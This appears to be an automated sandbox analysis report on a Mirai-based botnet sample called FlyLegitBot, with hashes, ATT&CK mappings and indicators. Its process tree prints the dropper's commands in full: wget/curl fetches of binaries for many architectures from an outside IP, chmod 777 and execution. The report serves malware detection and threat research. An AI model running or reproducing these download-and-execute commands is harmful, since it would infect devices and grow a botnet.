flylegitbot | 2d2065bfedb08553f591b68a98f7cc7c14042438bf0351266be601486309ca80

Analysis

max time kernel
149s
max time network
7s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
14/10/2026, 02:49

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2d2065bfedb08553f591b68a98f7cc7c14042438bf0351266be601486309ca80
Size 1KB
Sample261014-dbjf5aex2v
SHA256 2d2065bfedb08553f591b68a98f7cc7c14042438bf0351266be601486309ca80
MD5 bce4b55aa0450590d7bc373fc5d1fe28
SHA1 3a6a2c39e047bf4824a21381da8fa33d8c8ef1d9
SHA512 4e2ba617e534afcab9bc7fcfabab11952395b2694b2e42c0b2c5a73e162e792d9914e4cf9e3c72dea71358c56ca8977a525052f14c4ad1e954ce96b3bc827cac
TLSH
T1BB31238EA0F56043C4DCEE0070F5CDCA6326BD9161DA2A3ADCC1AE67E4D9E547019B3B
MD5 SHA1 SHA512 TLSH

Score

10^/10

antivm botnet defense_evasion discovery flylegitbot

Malware Config

Signatures

Family: FlyLegitBot
FlyLegitBot is a Mirai-based botnet.
botnet flylegitbot

Detects FlyLegitBot 1 IoCs

resource	yara_rule
behavioral2/files/fstream-1.dat	family_flylegitbot

File and Directory Permissions Modification 1 TTPs 13 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
681	chmod
713	chmod
788	chmod
793	chmod
801	chmod
675	chmod
685	chmod
693	chmod
742	chmod
746	chmod
750	chmod
773	chmod
798	chmod

Deletes itself 3 IoCs

pid	Process
792	iran.armv4l
797	iran.armv5l
804	iran.armv7l

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/iran.x86_64	676	2d2065bfedb08553f591b68a98f7cc7c14042438bf0351266be601486309ca80

Enumerates running processes
Discovers information about currently running processes on the system

Changes its process name 3 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	t.me/flylegit	792	iran.armv4l
Changes the process name, possibly in an attempt to hide itself	t.me/flylegit	797	iran.armv5l
Changes the process name, possibly in an attempt to hide itself	t.me/flylegit	804	iran.armv7l

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/42/comm	iran.armv7l
File opened for reading	/proc/111/comm	iran.armv7l
File opened for reading	/proc/24/comm	iran.armv4l
File opened for reading	/proc/12/comm	iran.armv4l
File opened for reading	/proc/16/comm	iran.armv4l
File opened for reading	/proc/17/comm	iran.armv4l
File opened for reading	/proc/139/comm	iran.armv4l
File opened for reading	/proc/5/comm	iran.armv5l
File opened for reading	/proc/303/comm	iran.armv5l
File opened for reading	/proc/312/comm	iran.armv5l
File opened for reading	/proc/312/comm	iran.armv4l
File opened for reading	/proc/642/comm	iran.armv4l
File opened for reading	/proc/15/comm	iran.armv5l
File opened for reading	/proc/284/comm	iran.armv5l
File opened for reading	/proc/582/comm	iran.armv5l
File opened for reading	/proc/1/comm	iran.armv7l
File opened for reading	/proc/3/comm	iran.armv7l
File opened for reading	/proc/11/comm	iran.armv7l
File opened for reading	/proc/284/comm	iran.armv4l
File opened for reading	/proc/212/comm	iran.armv4l
File opened for reading	/proc/7/comm	iran.armv5l
File opened for reading	/proc/17/comm	iran.armv5l
File opened for reading	/proc/286/comm	iran.armv5l
File opened for reading	/proc/614/comm	iran.armv5l
File opened for reading	/proc/16/comm	iran.armv7l
File opened for reading	/proc/21/comm	iran.armv7l
File opened for reading	/proc/43/comm	iran.armv4l
File opened for reading	/proc/169/comm	iran.armv4l
File opened for reading	/proc/26/comm	iran.armv5l
File opened for reading	/proc/162/comm	iran.armv5l
File opened for reading	/proc/668/comm	iran.armv5l
File opened for reading	/proc/23/comm	iran.armv7l
File opened for reading	/proc/41/comm	iran.armv7l
File opened for reading	/proc/173/comm	iran.armv7l
File opened for reading	/proc/289/comm	iran.armv4l
File opened for reading	/proc/13/comm	iran.armv4l
File opened for reading	/proc/20/comm	iran.armv4l
File opened for reading	/proc/272/comm	iran.armv5l
File opened for reading	/proc/594/comm	iran.armv5l
File opened for reading	/proc/645/comm	iran.armv5l
File opened for reading	/proc/25/comm	iran.armv7l
File opened for reading	/proc/26/comm	iran.armv7l
File opened for reading	/proc/4/comm	iran.armv5l
File opened for reading	/proc/14/comm	iran.armv5l
File opened for reading	/proc/1/comm	iran.armv4l
File opened for reading	/proc/7/comm	iran.armv4l
File opened for reading	/proc/8/comm	iran.armv4l
File opened for reading	/proc/22/comm	iran.armv4l
File opened for reading	/proc/41/comm	iran.armv4l
File opened for reading	/proc/570/comm	iran.armv4l
File opened for reading	/proc/3/comm	iran.armv4l
File opened for reading	/proc/14/comm	iran.armv4l
File opened for reading	/proc/9/comm	iran.armv5l
File opened for reading	/proc/42/comm	iran.armv5l
File opened for reading	/proc/584/comm	iran.armv4l
File opened for reading	/proc/173/comm	iran.armv5l
File opened for reading	/proc/648/comm	iran.armv5l
File opened for reading	/proc/13/comm	iran.armv7l
File opened for reading	/proc/5/comm	iran.armv4l
File opened for reading	/proc/79/comm	iran.armv4l
File opened for reading	/proc/322/comm	iran.armv4l
File opened for reading	/proc/2/comm	iran.armv5l
File opened for reading	/proc/8/comm	iran.armv5l
File opened for reading	/proc/148/comm	iran.armv5l

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
686	iran.mips
688	wget
694	iran.mipsel
684	wget

Writes file to tmp directory 13 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/iran.x86_64	wget
File opened for modification	/tmp/iran.m68k	wget
File opened for modification	/tmp/iran.arc	wget
File opened for modification	/tmp/iran.armv5l	wget
File opened for modification	/tmp/iran.armv7l	wget
File opened for modification	/tmp/iran.mips	wget
File opened for modification	/tmp/iran.mipsel	wget
File opened for modification	/tmp/iran.powerpc	wget
File opened for modification	/tmp/iran.sparc	curl
File opened for modification	/tmp/iran.sh4	wget
File opened for modification	/tmp/iran.i486	curl
File opened for modification	/tmp/iran.armv4l	wget
File opened for modification	/tmp/iran.armv6l	wget

/tmp/2d2065bfedb08553f591b68a98f7cc7c14042438bf0351266be601486309ca80
/tmp/2d2065bfedb08553f591b68a98f7cc7c14042438bf0351266be601486309ca80
1⤵
- Executes dropped EXE
PID:648
- /usr/bin/wget
  wget http://176.65.139.76/iran.x86_64
  2⤵
  - Writes file to tmp directory
  PID:650
- /bin/chmod
  chmod 777 iran.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:675
- /tmp/iran.x86_64
  ./iran.x86_64
  2⤵
  PID:676
- /usr/bin/wget
  wget http://176.65.139.76/iran.m68k
  2⤵
  - Writes file to tmp directory
  PID:679
- /bin/chmod
  chmod 777 iran.m68k
  2⤵
  - File and Directory Permissions Modification
  PID:681
- /tmp/iran.m68k
  ./iran.m68k
  2⤵
  PID:682
- /usr/bin/wget
  wget http://176.65.139.76/iran.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:684
- /bin/chmod
  chmod 777 iran.mips
  2⤵
  - File and Directory Permissions Modification
  PID:685
- /tmp/iran.mips
  ./iran.mips
  2⤵
  - System Network Configuration Discovery
  PID:686
- /usr/bin/wget
  wget http://176.65.139.76/iran.mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:688
- /bin/chmod
  chmod 777 iran.mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:693
- /tmp/iran.mipsel
  ./iran.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:694
- /usr/bin/wget
  wget http://176.65.139.76/iran.powerpc
  2⤵
  - Writes file to tmp directory
  PID:697
- /bin/chmod
  chmod 777 iran.powerpc
  2⤵
  - File and Directory Permissions Modification
  PID:713
- /tmp/iran.powerpc
  ./iran.powerpc
  2⤵
  PID:715
- /usr/bin/wget
  wget http://176.65.139.76/iran.sparc
  2⤵
  PID:718
- /usr/bin/curl
  curl http://176.65.139.76/iran.sparc -o iran.sparc
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:728
- /bin/chmod
  chmod 777 iran.sparc
  2⤵
  - File and Directory Permissions Modification
  PID:742
- /tmp/iran.sparc
  ./iran.sparc
  2⤵
  PID:743
- /bin/sh
  /bin/sh ./iran.sparc
  2⤵
  PID:743
- /usr/bin/wget
  wget http://176.65.139.76/iran.sh4
  2⤵
  - Writes file to tmp directory
  PID:745
- /bin/chmod
  chmod 777 iran.sh4
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /tmp/iran.sh4
  ./iran.sh4
  2⤵
  PID:747
- /usr/bin/wget
  wget http://176.65.139.76/iran.arc
  2⤵
  - Writes file to tmp directory
  PID:749
- /bin/chmod
  chmod 777 iran.arc
  2⤵
  - File and Directory Permissions Modification
  PID:750
- /tmp/iran.arc
  ./iran.arc
  2⤵
  PID:751
- /usr/bin/wget
  wget http://176.65.139.76/iran.i486
  2⤵
  PID:753
- /usr/bin/curl
  curl http://176.65.139.76/iran.i486 -o iran.i486
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:762
- /bin/chmod
  chmod 777 iran.i486
  2⤵
  - File and Directory Permissions Modification
  PID:773
- /tmp/iran.i486
  ./iran.i486
  2⤵
  PID:775
- /bin/sh
  /bin/sh ./iran.i486
  2⤵
  PID:775
- /usr/bin/wget
  wget http://176.65.139.76/iran.armv4l
  2⤵
  - Writes file to tmp directory
  PID:777
- /bin/chmod
  chmod 777 iran.armv4l
  2⤵
  - File and Directory Permissions Modification
  PID:788
- /tmp/iran.armv4l
  ./iran.armv4l
  2⤵
  - Deletes itself
  - Changes its process name
  - Reads runtime system information
  PID:789
- /usr/bin/wget
  wget http://176.65.139.76/iran.armv5l
  2⤵
  - Writes file to tmp directory
  PID:791
- /bin/chmod
  chmod 777 iran.armv5l
  2⤵
  - File and Directory Permissions Modification
  PID:793
- /tmp/iran.armv5l
  ./iran.armv5l
  2⤵
  - Deletes itself
  - Changes its process name
  - Reads runtime system information
  PID:794
- /usr/bin/wget
  wget http://176.65.139.76/iran.armv6l
  2⤵
  - Writes file to tmp directory
  PID:796
- /bin/chmod
  chmod 777 iran.armv6l
  2⤵
  - File and Directory Permissions Modification
  PID:798
- /tmp/iran.armv6l
  ./iran.armv6l
  2⤵
  PID:799
- /usr/bin/wget
  wget http://176.65.139.76/iran.armv7l
  2⤵
  - Writes file to tmp directory
  PID:800
- /bin/chmod
  chmod 777 iran.armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:801
- /tmp/iran.armv7l
  ./iran.armv7l
  2⤵
  - Deletes itself
  - Changes its process name
  - Reads runtime system information
  PID:802

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

iran.x86_64

Path /tmp/iran.x86_64
Size 127KB
SHA256 bca0730eadd083c9693558856db8a78ea25d057a47c47009cbaeac403f45598e
MD5 f4a2646b47a9e6b8ec3ddba85b376845
SHA1 a2baf39dacbe4171e03b0b3adf9fb0cbacb26d08
SHA512 7029a4150acff862b0d6555e1b1ab69da67fcf82d954d6e9f664bb6cebb830bdc6aede569c7a3beeb4cfb470536d9c4a433c6743d48626cf06a13eee66cebd13
SSDEEP 3072:5byarvpC/TMiBPry1feAiRFkdLOkz8QAYccrPCkvggUgX:BZrvpyZAEC0lv
TLSH
T1D7D34B1B71C190FEC8DAC1B84BEBE526E973B5291138B21E27C85E275F4DE201F6DA50
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads